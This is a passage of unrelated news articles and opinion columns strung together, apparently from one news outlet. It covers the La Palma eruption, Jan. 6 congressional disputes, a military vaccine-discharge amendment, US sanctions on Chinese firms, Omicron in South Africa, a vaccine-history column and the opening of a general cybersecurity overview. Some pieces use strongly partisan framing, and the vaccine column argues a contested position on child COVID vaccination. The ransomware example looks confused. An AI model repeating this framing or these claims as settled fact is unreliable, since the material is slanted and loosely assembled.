lull didnt necessarily mean the eruption is over. Scientists recorded no seismic activity from the Cumbre Vieja volcano on La Palma island since late Monday, the Canary Islands volcanology institute, Involcan, said in a tweet. That does not mean the eruption has finished, because in the past this has been followed by a new surge in activity, Involcan said. But it added: This is the longest length of time with no earthquakes since the eruption began. Ruben Lopez, a volcanologist with Involcan, said there was minimal activity at the volcano that first erupted on Sept. 19. Hopefully it will stay that way and we can start thinking about the end of this, he told Spanish public broadcaster RTVE. La Palmas longest eruption on record has destroyed about 3,000 local buildings, entombed large areas of farmland in lava, and forced several thousand people to abandon their homes. No injuries or deaths have been directly linked to the eruption on the island of around 80,000 people. Life has continued largely as normal on most of La Palma, where a section of the southwestern side is hardest hit. The volcanic Canary Islands are a popular European vacation destination off Africas northwest coast. Rep. Bennie Thompson (D-Miss.), chairman of the House of Represenatatives panel investigating the Jan. 6 U.S. Capitol breach, sitting beside panel vice chair Rep. Liz Cheney (R-Wyo.), speaks in Washington on Oct. 19, 2021. (Alex Wong/Getty Images) Senate Moves Jan. 6 Reforms as House Democrats Obsess on Trump Role News Analysis When the Capitol Police Emergency Assistance Act (CPEAA) was approved by the House of Representatives without objection late on Dec. 14, it provided a marked contrast with the raucous and angry debate earlier in the day in the lower chamber. The CPEAA was a bipartisan measure initiated in the Senate by Sen. Amy Klobuchar (D-Minn.) and Sen. Roy Blunt (R-Mo.), the chairman and ranking minority member, respectively, of the Senate Committee on Rules and Administration. The measure was introduced on Dec. 13 and approved in the Senate the same day by unanimous consent. Co-sponsors of the CDEAA included Sens. Angus King (I-Maine), Roger Wicker (R-Miss.), Dianne Feinstein (D-Calif.), Shelley Moore Capito (R-W.Va.), Jeff Merkley (D-Ore.), Alex Padilla (D-Calif.), and Mark Warner (D-Va.). Our bipartisan investigation into the response failures on January 6th clearly demonstrated the need for the Chief of the U.S. Capitol Police to have more unilateral flexibility to quickly request assistance in an emergency, Blunt said in a joint statement with Klobuchar. This bipartisan bill addresses a major security challenge that was evident on January 6th, and is part of our ongoing effort to strengthen Capitol security moving forward. The measure provides USCP clear authority to go directly to the District of Columbia National Guard to seek assistance in an emergency without having to obtain prior approval of congressional authorities. The reform was one of dozens recommended in the joint, bipartisan report on events leading up to and including the Jan. 6 incursion at the U.S. Capitol. President Donald Trump offered National Guard assistance on Jan. 5, and it was requested by the USCP early in the afternoon of Jan. 6. The troops didnt arrive, however, until nearly 6 p.m., after much of the violence had ended. Earlier in the day on Dec. 14, the House chamber reverberated with demands for the prosecution of former Trump White House chief of staff Mark Meadows for contempt of Congress. Meadows, who is also a former Republican member of the House, was cooperating with the Select Committee to Investigate the January 6th Attack on the United States Capitol, but he was charged with contempt after refusing to appear before the panel, claiming executive privilege barred his answering queries about advice he and others gave Trump on the Jan. 6 event. Meadows is the second former Trump administration official to be charged with contempt, including former political strategist Stephen Bannon. Trump and Meadows are challenging the panel in federal court, citing executive privilege. Early in the debate on holding Meadows in contempt and recommending him for prosecution by the Department of Justice, House Administration Committee Chairman Zoe Lofgren (D-Calif.), who is also a member of the Jan. 6 panel, suggested Meadows and his former boss were part of a plot behind the riot. Now, the select committee needs to speak with [Meadows] about the plot leading up to Jan. 6. For example, its been reported that the White House was directing the Department of Justice to investigate outrageous and really crazy conspiracy theories to benefit Mr. Trump politically, as well as to orchestrate the dissemination of misinformation about the election, Lofgren told the House. At another point during the debate, House Majority Leader Steny Hoyer (D-Md.) accused Republicans of opposing the contempt action because they fear the truth that would be revealed if Meadows submits to cross-examination by the select panel. Hoyers accusation prompted House Freedom Caucus Chairman Scott Perry (R-Pa.) to demand the majority leader be sanctioned, but he was overruled. The central flashpoint issue at the center of the debate was the executive privilege claim of Trump and Meadows. Democrats, and their sole Republican supporters, Rep, Liz Cheney (R-Wyo.) and Rep. Adam Kinzinger (R-Ill.), argued that Trump and Meadows are no longer covered by executive privilege. Rep. Jim Jordan (R-Ohio) pointed out, however, that the Supreme Court in the landmark Watergate case of U.S. v. Nixon held that executive privilege is based on the fact that a president and those who assist him must be free to explore alternatives in the process of shaping policies and making decisions, and to do so in a way many would be unwilling to express except privately. A federal appeals court rejected Trumps claim last week, so the high court will almost certainly have to resolve the issue. The justices said in the 1974 case that there is no absolute executive privilege. But there was another flashpoint issue lurking in the debatethe role of Speaker of the House Nancy Pelosi (D-Calif.) in the response to the events on Jan. 6and it was broached by Rep. Rodney Davis (R-Ill.), the ranking Republican member of the House Administration Committee. Davis told the House that a number of questions from that day still remain unanswered. Im still waiting on the Speaker of the House to answer a letter I sent her back in February that asks why the National Guard requests by the then-[USCP] police chief were denied, why the Speaker was involved in eventually approving the request, why the House SAA [Sergeant at Arms] has refused to comply with preservation and production requests from my office. Davis added that with these questions still unanswered and another purely political contempt resolution on the floor today, it makes you ask yourself: What is the majority hiding and why are their priorities not the men and women serving in the Capitol Police and making this Capitol more secure for everyone? We need these reforms and they should have been done months ago. The letter to Pelosi also was signed by Jordan as the ranking Republican on the House Judiciary Committee, Rep. James Comer (R-Ky.), the top Republican member of the House Committee on Oversight and Government Reform, and Rep. Devin Nunes (R-Calif.), the highest-ranking Republican on the House Select Committee on Intelligence. Two spokesmen for Pelosi (D-Calif.) declined to respond to The Epoch Times request for comment. Senate Passes Legislation to Prevent Dishonorable Discharges for Unvaccinated Servicemembers The Senate has passed a draft of the National Defense Authorization Act (NDAA) that would forbid the Department of Defense from dishonorably discharging members of the military whose only offense was refusing the vaccine. The bill rider to the larger NDAA package was put forward by Sen. Roger Marshall (R-Kan.) to prevent Joe Biden from dishonorably discharging servicemembers for choosing to not get the COVID vaccine. The amendment to the NDAA would not protect men and women in the military from being discharged from the military, but it would protect them from the social stigma of a dishonorable discharge, only permitting those who refuse the vaccine to be discharged honorably. In a statement on the legislations passage, Marshall said As a former Army doctor, I am proud the NDAA passed the Senate and included my amendment to ensure servicemembers will be protected from a dishonorable discharge for choosing not to get the COVID vaccine. Simply put, he continued, a dishonorable discharge treats our heroes as felons. But, our American heroes deserve better. I support the vaccine, but I also support those who are defending our freedoms and have carefully weighed their decision on whether to receive the COVID vaccine, Marshall said. With our amendment in the NDAA, we were able to provide our service men and women with the medical freedom they rightly deserve. Since Biden announced his sprawling vaccine mandates in September, federal employees and military service members have faced the difficult choice to get the vaccine or face being fired or forced to accept a dishonorable discharge. In his video statement discussing the amendments passage, Marshall applauded the Senate for advancing the bill, calling it great news for our country. U.S. military code contains several different degrees of discharge for members of the military. Those who complete their contract with the U.S. government and reach the end of their enlistment period with no major behavioral or criminal problems and then decide not to re-up are generally granted an honorable discharge. These vets are eligible for all the benefits they earned for their time in the service. Sitting underneath honorable discharge in the military hierarchy is the general discharge, a type of administrative discharge caused by generally satisfactory performance but marked by failure to meet expectations under the military code of conduct. These are usually granted under honorable conditions, but may result in losing benefits. Another level down is the other than honorable discharge, which encompasses serious failings on the part of a servicemember, such as being convicted for breaking civilian law. Below this is the bad conduct discharge, a type of discharge that requires a servicemember be found guilty in court-martial proceedings. Generally, neither of these types of discharge allow a vet to keep their benefits. Finally, the most serious type of discharge is the dishonorable discharge. In general, those who are court-martialed and dishonorably discharged from the military are found guilty of felony offenses like murder or assault and can face time in military prison; In civilian life, they are permanently barred from firearm ownership and face the same voting restrictions as felons. In short, dishonorable discharge has historically been reserved for the most reprehensible offenses, while less serious violations have historically been dealt with through general or bad conduct discharge. For Defense Secretary Lloyd Austin and President Joe Biden, refusing a vaccination against the CCP (Chinese Communist Party) virus was an offense deserving of dishonorable discharge. In September, a group of four Republican senators, including Marshall and Sens. Ted Cruz (R-Texas), James Lankford (R-Okla.), and Tommy Tuberville (R-Ala.) introduced a bill that would have done much the same as Marshalls NDAA bill rider. The White House responded at the time with a statement that it strongly oppose[d] the legislation, showing Bidens support for the extreme punishment being meted out to those who refused his vaccine mandate. In a Fox News op-ed, Marshall blasted Biden for standing behind such a strict policy, accusing Biden of enforcing a one size has to fit all policy despite the stark differences in the medical history and needs of different servicemembers. Now that the Senate has passed the policy, it will head to Bidens desk for his signature, but it remains to be seen whether Biden will allow it to pass or will veto it and demand that Congress send him a changed version of the bill. If passed, the bill will effectively neuter Bidens military vaccine mandate at a time when his private-sector mandates are already facing stiff, bipartisan opposition on all sides. Senators Want More Oversight of US Companies Looking to Offshore Critical Industries to China Two U.S. senators are pushing for greater scrutiny of U.S. companies looking to offshore critical capabilities to foreign adversaries, such as China, in a bid to protect the U.S. supply chain. The pandemics sharp disruption to global supply chains has underscored the need for the United States to reduce its reliance on foreign competitors on critical supplies ranging from health equipment to natural resources, according to Sens. Bob Casey (D-Pa.) and John Cornyn (R-Texas), who earlier in 2021 introduced legislation aimed at addressing this issue. This is not just an economic issue. This is a national security and public health imperative, Cornyn said during a Dec. 15 virtual event hosted by the Washington-based think tank Hudson Institute. The senators described the measure, the National Critical Capabilities Defense Act, which was first introduced in May and has since been referred to the Senate Committee on Finance, as a necessary measure in the face of Beijings excessive and unfair utilization of investments from U.S. firms with resources that could be better be allocated domestically in the fight against COVID-19 and for other more legitimate purposes. The need to establish something akin to the Committee on Foreign Investment in the U.S. (CFIUS)an interagency group that screens foreign investments for national security risksbut for outbound rather than inbound investment, became particularly clear during the early days of the COVID-19 crisis, according to the senators. During that time, U.S. companies and hospitals struggled to meet the demand for beds, masks, gloves, gowns, and ventilators, while the Chinese Communist Party (CCP) tightened its control over the handling and supply of such critical gear. The supply chain crisis afflicting the U.S. domestic economy in recent months is further evidence of the need for sensible reforms to prevent the CCP from unfairly benefiting from U.S. capital, know-how, and resources needed at home, according to the senators. All of us were horrified not just by the gravity of this pandemic, but by some of the challenges we faced at the very beginning, Casey said. Casey was quick to note that the legislation isnt aimed at curbing free trade, which is essential to the health and stability of the domestic economy. Rather, it would establish a process with the highly specific aim of screening outbound investment within critical supply chains. It wouldnt target investments in all foreign jurisdictions, but only those with which the U.S. finds itself in an adversarial relationship, such as Russia and China. It will require companies to disclose before they offshore to foreign adversaries, Casey said. It is designed to identify vulnerabilities, so that were not in the position that we were in when it comes to something as basic as personal protective equipment. According to Casey, U.S. firms active in such critical areas as homeland security, energy, agriculture, and natural resources would be required to report outbound investments to certain markets, namely China, and to report on any possible consequences of their investment could have regarding U.S. national security. The interagency committee established under the measure would have the power to block outbound transactions while reviewing them based on certain key factors already set forth by the bills drafters. The bill is very limited in scope, he said. It only covers foreign adversaries like China and Russia, looking only at national defense capabilities. Cornyn said the U.S. experience during the COVID-19 crisis has exposed critical vulnerabilities that make the country less secure and less self-sufficient. Examples include the shortage of ventilators for use in hospitals during the early days of the pandemic and, in the course of the ongoing supply-chain crisis, the lack of semiconductors has had adverse effects on everything from cars to fighter jets. Another problem that the legislation would address is the tendency of some U.S. investors and investment firms to play into the hands of the CCP by directing funds to Chinese firms that serve the intelligence and military interests of Beijing. Cornyn mentionedbut didnt identifya venture capital firm in California that he said is currently the largest shareholder in 4Paradigm, a Beijing-based artificial intelligence (AI) firm that takes on work for the Chinese military. He was likely referring to Sequoia Capital, which is 4Paradigms largest external shareholder. A November report revealed that 4Paradigm had been awarded a contract by Beijings military to enhance its AI capabilities. A representative for Sequoia Capital previously told The Epoch Times that its investments in 4Paradigm were made by the Sequoia China branch, which declined to comment on the extent of its current holdings in 4Paradigm or whether it had knowledge of the contract with the Chinese military. So here, you have an American company investing in a contractor [doing work] in what has turned into a virtual police state, in which every move is followed and people are given scores based on their compliance with the CCPs dictates, Cornyn said. Our efforts are to try to make sure that the competition we have with China is fair and square and not based on either inadvertence by U.S. investors into China or strategic investments that can be leveraged [by the CCP] in national security competition with the U.S. An investor monitors stock prices at a securities company in Hangzhou, Zhejiang Province on Dec. 3, 2018. (STR/AFP/Getty Images) Chinese Health Care Firms Shares Slide on Report That US Will Blacklist Biotech, AI Firms Shares of Chinas biotechnology firms plunged on Dec. 15 amid concerns that the Biden administration would put an investment and export ban on more Chinese companies. The decline was led by WuXi Biologics, which tumbled nearly 20 percent, while WuXi AppTec Co. slid 19 percent, and Sino Biopharmaceutical slumped 5 percent. The Hang Seng Healthcare Index fell almost 7 percent. The mainland index tracking the health care sector also slumped 3.2 percent, against a drop of 0.87 percent in the broader index. The declines followed a Dec. 14 report in Financial Times, which cited two people briefed on the plans, that said the Biden administration would add two dozen Chinese companies, including unnamed biotechnology firms, to a trade blacklist known as the entity list. Health care firms were already under pressure on Dec. 15 as Chinese biotech company BeiGene Ltd. plunged in its Shanghai debut, amid concern that some Chinese firms could be ordered to delist from U.S. stock markets. The Financial Times (FT) reported that the U.S. Treasury Department will add DJI, the worlds largest commercial drone manufacturer, and seven other Chinese tech firms to a U.S. investment blacklist for their involvement in Beijings mass surveillance of the Uyghurs in Xinjiang. DJI has already been barred from buying or using U.S. technology or components, after the Trump administration put it on the entity list a year ago for the same reason. At the time, DJI stated that it had done nothing to justify the move and would continue to sell products in the United States, where it has built up a large market. Other firms set to be added to the investment ban, according to the FT, include image-recognition software firm Megvii, supercomputer maker Dawning Information Industry, facial recognition specialist CloudWalk Technology, cybersecurity group Xiamen Meiya Pico, artificial intelligence (AI) company Yitu Technology, and cloud computing firms Leon Technology and NetPosa Technologies. U.S. investors are barred from taking stakes in companies on the blacklist, which now includes about 60 firms. Schoolchildren walking below surveillance cameras in Akto, south of Kashgar, in Chinas Xinjiang region on June 4, 2019. (Greg Baker/AFP via Getty Images) When asked about the FT report at a Dec. 15 briefing, Zhao Lijian, a spokesperson for Chinas foreign ministry, accused Washington of the suppression of Chinese companies. He said the regime would closely follow the development of the situation. The report came days after the Biden administration put an investment ban on Chinese AI firm SenseTime over the same human rights concerns, forcing the company to postpone its planned $767 million Hong Kong initial public offering. The Treasury Department on Dec. 10 also sanctioned Erken Tuniyaz, chairman of the Xinjiang Uyghur Autonomous Region, and his predecessor, Shohrat Zakir, for their role in aiding the Beijing regimes abuses in the region. More than 1 million Uyghur and other Muslim minorities have been incarcerated in internment camps in Chinas far-western Xinjiang region, where they have been subjected to forced sterilization, torture, forced labor, and political indoctrination. The United States and other Western democracies have labeled Beijings actions a genocide. Reuters contributed to this report. William Shatner (C) speaks as Audrey Powers (L) and Chris Boshuizen appear during a press availability at the Blue Origin spaceport near Van Horn, Texas, on Oct. 13, 2021. (LM Otero/AP Photo) Shatner Marvels at Blue Origin Flight Frenzy, Finite Earth LOS ANGELESWilliam Shatners durable role as an avatar of spaces promise drew a frenzy of attention when fiction became fact with his rocket ride. The Star Trek actor says he was as surprised by it as he was gratified by the 10-minute, suborbital jaunt made possible by billionaire Jeff Bezos. The experience is the subject of Shatner in Space, a hour-long special out Wednesday on Amazon Prime Video. It details last Octobers flight that made Shatner, 90, the oldest person to reach space. Bezos credits Star Trek with igniting his interest in space travel. Shatner, whose decades-long career includes The Defenders, T.J. Hooker, and Boston Legal along with the original Star Trek series and films, wanted to be part of Bezos Blue Origin launch last July, its first with passengers. Shatner saw joining trip No. 2 akin to being named vice president when the Oval Office was the dream. He discussed his change of heart and the flights impact in an Associated Press interview, shifting between a philosopher and blunt storyteller who, at one point, invoked 1937s Hindenburg blimp explosion. Remarks were edited for length and clarity. AP: The zest for adventure can ebb with the years, but it hasnt with you. How do you explain it? Shatner: Well, Ive been doing a lot of foolish things, according to my wife, in the last many years. Im probably an adrenaline junkie. A couple of years ago I drove a motorcycle across the country, and I recently went down 60 feet underwater and visited with four tiger sharks. Im no stranger to thinking, Oh, geez, I can die here. But I didnt feel the necessity of going up into space. Why do I want to put myself in that position? Its uncomfortable. Ive got, my wife calls them velvet sheets, I can just snuggle in. Then I thought a little further about it, the idea of weightlessness and going into space and just the feeling, and (decided) Ill do it. When it caught peoples imagination I was absolutely shocked. I was as shocked about that as I was about the flight itself. AP: But youre Capt. Kirk. Shatner: I know. But thats 55 years ago. There have been other things since then. The acquisition of knowledge was shocking, its popularity was shocking. Everything about it was extraordinary. AP: Before the flight, you gave interviews in which you fretted about the dangers of the flight. Was that joking or jitters? Shatner: Werent you brought up on the Hindenburg burning? Its burning hydrogen. Thats what theyre putting in the (rocket) tank. Blue Origins New Shepard rocket launches, carrying passengers William Shatner, Chris Boshuizen, Audrey Powers, and Glen de Vries from its spaceport near Van Horn, Texas, on Oct. 13, 2021. (LM Otero/AP Photo) AP: You had an emotional conversation with Jeff Bezos immediately after the flight. What touched you so deeply? Shatner: I immersed myself in the last 50 years in the connectivity of the Earth and how connected everything is. Everything is beautiful on Earth, and we have destroyed millions of (living) things. And then I saw the Earth giving life and I felt such sadness. I saw how finite the Earth is. And you and me are little dots, not as large as ants. We are insignificant on this insignificant planet. And yet we are aware, we are observers of that insignificance. And thats significant. AP: Star Trek depicted advanced human behavior that weve yet to achieve. How do you see the world politically, environmentally? Shatner: Human beings resist change, probably part of our indigenous makeup. But change is happening so quickly, and more quickly than we imagined. The tipping points of these changes have happened in the last 50 years, and it takes longer than 50 years, I guess, for mankind to say, My God, the poles are melting. AP: Are you optimistic about the future? Shatner: I interviewed Bezos several times while shooting this documentary, and Im hopeful that some of that will be in there. The last line he told me, which is what reverberates in my head, is, You have to hope. Without hope, what is there? So hes busy trying to get industry up into space, up into geocentric orbit, which we have the technology to do. AP: Many decades have passed since Star Trek, but people still see Capt. Kirk as part of your public persona. Is that something you wish for or not? Shatner: Somebody once said, You get the career you deserve. And to change those words, you get the life you deserve. You made a decision based on what you knew at the time. You liked the guy, you didnt like the guy; you wanted to live in the city. Whatever the instances were that you turned left instead of right. You cant regret having made a decision because it was based on your need, whatever it was. Puseletso Lesofi prepares to sequence Omicron new coronavirus samples at the Ndlovu Research Center in Elandsdoorn, South Africa, Dec. 8, 2021. (Jerome Delay/AP) South African COVID-19 Cases Surge Again After Brief Downward Trend South Africa is seeing another surge of COVID-19 cases, after the number of new positive infections reported in the region had continued its downward trend despite increased testing, according to South African National Institute of Communicable Diseases (NICD) data. The NICD on Dec. 14 reported 23,884 new COVID-19 cases in South Africa, bringing the total number of confirmed cases to 3,204,742. The figure represented a 34.9 percent positivity rate, the institute said, noting that there had been an increase of 599 hospital admissions in the past 24 hours. Just days earlier, on Dec. 11, the NICD reported 17,154 new cases, which was nearly 2,000 down from the 19,018 new cases reported on the day before. Similarly, while the number of daily hospital admissions saw an upward trend from 374 new admissions on Dec. 8 to 507 new admissions on Dec. 10, it dropped to 184 new admissions on Dec. 11. The abrupt downward trend last week amid the outbreak of the Omicron variant of the new coronavirus in South Africa was described by Professor Francois Balloux, director of the University College London Genetics Institute, as one of the most mind-boggling things Ive ever seen during my career as an infectious disease epidemiologist. It comes as the World Health Organization (WHO) warned on Tuesday that the Omicron variant was spreading at an unprecedented rate in the region, noting however that deaths remain low at this time. We are cautiously optimistic that deaths and severe illness will remain low in the current wave, said Dr. Matshidiso Moeti, WHOs regional director for Africa. But slow vaccine roll-out in Africa means both will be much higher than they should be. The WHO noted that while hospitalizations have increased by 67 percent in South Africa in the past seven days, the bed occupancy rate for Intensive Care Units remains low at 7.5 percent, with 14 percent of the hospitalized patients receiving supplemental oxygen. Though the deaths also remain low, this data should be interpreted with caution as the pattern may change in the coming weeks, it said. Weve known for quite some time now that new variants like Beta, Delta or Omicron could regularly emerge to spark new outbreaks globally, but vaccine-deprived regions like Africa will be especially vulnerable, added Moeti. Meanwhile, a new study of real-world data from South Africa found that the Pfizer-BioNTech COVID-19 vaccine has been less effective in protecting against hospitalization following the emergency of the Omicron virus variant. According to Discovery Health, the largest private health insurance company in the country, the protection from the vaccines primary two-dose regimen has dropped to about 70 percent in recent weeks. That was down from 93 percent when Delta was the dominant variant in the country, Discovery scientists said Tuesday. Discoverys analysis has not yet been peer-reviewed. Pfizer and BioNTech did not immediately respond to requests for comment. Omicron was first detected by South African scientists last month and genomic sequencing of past positive tests show it dates back to at least October in Nigeria. The WHO said in a technical brief issued on Dec. 12 that the variant, which has been reported in more than 60 countries so far, poses a very high global risk, but further research is needed to assess its severity. Zachary Stieber and Tammy Hung contributed to this report. South Korean President Moon Jae-in and Australian Prime Minister Scott Morrison witness a signing ceremony at Parliament House in Canberra, Australia, on Dec. 13, 2021. (Lukas Coch - Pool/Getty Images) South Korea, Australia Adopt Joint Statement on South China Sea Disputes South Korea and Australia adopted a joint statement on the South China Sea, a region that China claims as its own, underscoring that territorial disputes must be resolved peacefully in accordance with international law. South Korean President Moon Jae-in and Australian Prime Minister Scott Morrison jointly signed the statement after the summit talks at Parliament House in Canberra on Monday. As major maritime trading nations, Australia and the ROK [Republic of Korea] recognize that the stability of the IndoPacific depends on adherence to international law in the maritime domain, including in the South China Sea, the statement reads. Territorial disputes in the South China Sea are ongoing, with Beijing continuing to pursue its claims to 90 percent of the seas based on its so-called nine-dash line. The Permanent Court of Arbitration at The Hague dismissed Beijings claims to much of the South China Sea in 2016 in favor of other nations, but Beijing refused to abide by the verdict and continued to increase its military presence in the region. In the joint statement, the two leaders underscored that disputes must be resolved peacefully and in accordance with international law, including the United Nations Convention on the Law of the Sea. They reaffirmed the importance of upholding freedom of navigation and overflight, and agreed to strengthen coordination to uphold these principles, which must not be undermined in the context of increasing risks of instability in the maritime domain. Australia and South Korea are committed to denuclearization and establishing permanent peace on the Korean Peninsula, the two leaders stated, calling for the full implementation of United Nations Security Council resolutions by the international community, including North Korea. Moon and Morrison also agreed to enhance their countries bilateral relationship to a comprehensive strategic partnership and pledged to boost cooperation in security, defense, core technology, health, and border protection. The two allies signed a historic AU$1 billion ($716.5 million) defense agreement during the summit, which will see South Korean defense company Hanwha Corp. build 30 self-propelled howitzers and 15 armored ammunition resupply vehicles for Australia. Morrison said in a joint press conference with Moon that South Korea has a critical role to play in quelling tensions with China in the IndoPacific. Korea has a very strong and open dialogue with China, Morrison told press. [The outcome of war] is one that no-one seeks, that no-one hopes transpires, whether by miscalculation or other means, therefore, Australia and Korea have important work to do as liberal democracies. Moons visit comes amid rising tensions in the IndoPacific as Beijing shows ambition over Taiwan and Australia signed the AUKUS pact with the United States and the United Kingdom, which will see Australia securing nuclear-powered submarines. Epoch Times Sydney staff contributed to this report. Supreme Court Agrees to Hear Chinese Manufacturers Lawsuit Against US Auto Parts Maker The Supreme Court agreed to resolve whether parties in private arbitration outside the country are able to use U.S. courts to compel the production of evidence. The decision to grant the petition for certiorari, or review, on Dec. 10 in ZF Automotive US Inc. v. Luxshare Ltd., came after the high court blocked a lower courts order in the legal proceeding on Oct. 27. That order would have forced a Michigan company to hand over documents to a Chinese manufacturer disputing the value of the assets of a business unit in the companys German parent company that it purchased in 2017. On Dec. 10, the court ordered the case consolidated with AlixPartners LLP v. The Fund for Protection of Investors Rights in Foreign States, a similar case it had also agreed to hear. The Supreme Court decided to grant certiorari before the 6th U.S. Circuit Court of Appeals had ruled on the case, in a rare procedural move, according to the law firm of Cleary Gottlieb. The decision effectively allow[s] the parties to sidestep the Sixth Circuit and have the Supreme Court decide whether Section 1782 permitted discovery for use in a private commercial arbitration proceeding. In the ZF Automotive case, the Supreme Court is being asked to settle a split between federal appellate courts. The specific legal issue is whether Section 1782 of Title 28 of the U.S. Code, which allows parties to lawsuits to invoke the authority of U.S. courts to aid in the gathering of evidence to be used in a foreign or international tribunal, covers private commercial arbitration tribunals. The appellate courts for the 4th and 6th circuits held that it does; the 2nd, 5th, and 7th circuits held that it doesnt. The Supreme Court was recently poised to consider such a question, but the parties in Servotronics Inc v. Rolls-Royce PLC settled the case out of court. That case had been scheduled for oral argument on Oct. 5, but the high court dismissed the legal proceeding on Sept. 29 on consent of the parties. Michigan-based ZF Automotive manufactures automotive parts. China-based Luxshare manufactures consumer electronics and automotive products. Luxshare is sometimes called little Foxconn, after Taiwan-based Foxconn, an electronics contract manufacturer in the Apple supply chain that has a large number of Chinese supplier locations. A dispute arose after Luxshare acquired a business unit of ZF Friedrichshafen AG, the German parent company, for about $1 billion in 2017. Luxshare argued it had been misled about the profitability of two of ZFs businesses. The deal stipulated that disputes would be resolved according to the rules of the German Institution of Arbitration. A U.S. District Court in Detroit cited current precedent from the 6th Circuit, within whose geographic boundaries the Michigan subsidiary is located. The precedent holds that private arbitration is within the scope of Section 1782. The District Court approved Luxshares request to subpoena ZF Automotive, a subsidiary of the German company, ordering it to hand over documents to Luxshare. Luxshare had demanded the documents before possibly taking the dispute to private arbitration in Germany. This case presents an ideal vehicle by which the Court could resolve the longstanding circuit split and determineonce and for allwhat Section 1782 means, ZF Automotive stated in its petition (pdf) to the Supreme Court. The Epoch Times reached out for comment to Roman Martinez, counsel of record for the petitioner ZF Automotive, and Andrew Rhys Davies, counsel of record for the respondent Luxshare, but neither had replied as of press time. Vaccines began over 200 years ago with an observation about milkmaids The evolution of the vaccine is a long and convoluted story of infectious diseases that have afflicted the human race since the beginning of time and will continue to do so for a very long time to come. Its origin comes from the Latin word for cow: vacca. Credit for the use of the term vaccine was given to a British physician in 1799, Dr. Edward Jenner. He made a fascinating observation that milkmaids who were infected with cowpox were immune to smallpox epidemics that regularly afflicted residents of his parish. The pox virus can affect many different species. Cowpox for cows, smallpox for humans. Legend has it that he heard a milkmaid bragging that she would never get the ugly facial pockmarks of smallpox. In 1796, Jenner gave a patient a vaccine from the cowpox in an attempt to protect against smallpox. (Things were done quite differently back then.) He took the pus from a woman infected with cowpox and then introduced that fluid into a cut he made in the arm of an 8-year-old boy. Interestingly, that boy survived and even attended Jenners funeral many years later. Over a two-year period, Jenner inoculated 23 patients. This became the accepted method to prevent smallpox. While Jenner is credited with this advancement, inoculation was done earlier by other physicians using a similar but less effective and riskier technique called variolation. Variolation used pus from a patient with actual smallpox (hopefully, a mild case) with the hope of inoculating an uninfected person. Its also noted that the Chinese performed inoculations as early as the 11th century. As in other things in life, credit is often given to the one with the loudest voice at the time. Benjamin Franklin wrote in his autobiography: In 1736 I lost one of my sons, a fine boy of four years old, by the smallpox taken in the common way. I long regretted bitterly and still regret that I had not given it to him by inoculation. This I mention for the sake of the parents who omit that operation, on the supposition that they should never forgive themselves if a child died under it; my example showing that the regret may be the same either way, and that, therefore, the safer should be chosen. Gen. George Washington made a controversial decision to order mass smallpox inoculations for all of his troops in 1777, at a time when an estimated 90 percent of deaths were from infection and disease. The most deadly was that from smallpox, according to the Library of Congress. An interesting side note is that most British troops had immunity to variola, which protected them. Washingtons plans contraindicated a 1776 proclamation by the Continental Congress prohibiting inoculations, according to Janet A. Aker. In 1801, President Thomas Jefferson declared smallpox vaccination one of the nations first public health priorities. For more than 80 years, vaccination referred mostly to smallpox prevention. In 1885, Louis Pasteur developed what he called a rabies vaccine. It was actually an anti-rabies toxin, but the use of the term vaccine stuck and was no longer just related to cowpox. The origin of the vaccine is by no means a commentary on todays use of the term and has zero reflection on the new COVID vaccines. Ill touch on that at the end. Getting back to Franklin and his decision not to inoculate his son who died from smallpox, it wasnt such an easy decision then. As today, and back then, take the vaccine and live, dont take it and die, wasnt the rule of thumb. Life would be so much easier if all choices were so stark. A fascinating article published in Quality and Safety in Health Care, Making the Right Decision: Benjamin Franklins Son Dies of Smallpox in 1736, is worth reviewing. The bottom line, there was a risk from the inoculation, a risk from contracting smallpox, as well as a choice of just leaving town to ride out the epidemic. These epidemics returned every few years. The difference back then is that roughly 15 percent of those afflicted died in the smallpox epidemic of Boston in 1721, which came out to about 8 percent of Bostons population. Infectious diseases such as smallpox ravaged the nation and the world. (As an aside, the World Health Organization declared smallpox eradicated in 1980.) Another epidemic raised its ugly head in 1894 as the polio curse spread across the land. Before becoming president, Franklin Roosevelt contracted polio in 1921. Polio, also known as poliomyelitis or infantile paralysis, affects the motor neurons of the central nervous system and can result in paralysis and death. Polio was spread from human to human by the fecal-oral route, from contaminated stool, then to the hand, and then to the mouth. Polio was rampant in the 1940s and was putting fear into every household. Seventy-two percent of children remained asymptomatic, with less than 1 percent developing acute flaccid paralysis, and some having partial effects. According to a recent article published in Infectious Disease Consultant, A Tale of Two Viruses: Poliomyelitis and COVID-19 makes some interesting observations. The government at the time, in the 1940s, tried to contain it. In an attempt to control this illness, health officials instituted sanitation rules: Avoid open drains, avoid unscreened windows, reduce public exposure, and stay away from crowds. Public pools were shut down, movie theaters were closed, and schools and summer camps were suspended. Dr. Jonas Salk developed the polio vaccine and inoculated his family in 1953. A massive vaccination of all children in the United States was started. I remember getting mine as a child. What are the main differences then and now? The bottom line, each of us needs to make a decision based on what is best for us. Benefits versus risks. Its very simple. Adults are easy, we can make those decisions for ourselves. Smallpox, polio, measles, mumps, and rubella vaccines protect the child from a disease that can seriously affect that child, which stands in contrast to the risk posed to children from COVID-19. Children didnt get those vaccines to protect someone else (even though it may have). Each vaccine given to a child needs to answer the basic question: Is this good for my child? The Future of Cyber Attacks The need for cybersecurity has existed ever since the emergence of the first computer virus. The creeper virus was created in 1971 and could duplicate itself across computers. Also, the threat landscape is emerging with the evolution of new technologies such as AI, Immersive Experience, Voice Economy, Cloud computing, and others. Threat actors upgrade their tools and tactics by designing new strategies to perpetrate their nefarious aims. Cyberthreats are growing in both scale and complexity, and the need to secure critical infrastructure by businesses and public organizations has never been as urgent as now. This article examined how cyberattacks have evolved in the past 12 months, the big lessons, what threats will look like in the future, and strategies companies can deploy to secure their endpoints and data against cyberattacks. Key Cyberattacks in the Last 12 Months 1. Phishing Attack in the Era of COVID-19 Threat actors send a message to deceive people into downloading or clicking a malicious link. During the Great Lockdown of 2020, many people were working from home. Cybercriminals leverage this opportunity as businesses and communication entirely depend on the internet. A report by the FBI revealed phishing to be the most popular form of cybercrime in 2020, and the incident reported nearly doubled ( 241,324) what was recorded in 2019, which was 114,702. 2. The Notorious Ransomware Attack The ransomware attack was profitable for threat actors in the last 12 months. Ransomware locks files on the victims system and redirects them to a page to pay a ransom to have their files returned. A notable example was the Cyrat ransomware which was masked as software for fixing corrupted DLL files on a computer system. According to Reuters, over 1500 businesses have been affected so far. 3. Attacks on IoT and IIoT The adoption of the Internet of Things(IoT) and the Industrial Internet of Things at both the individual and industrial levels also leads to concerns around cybersecurity. These 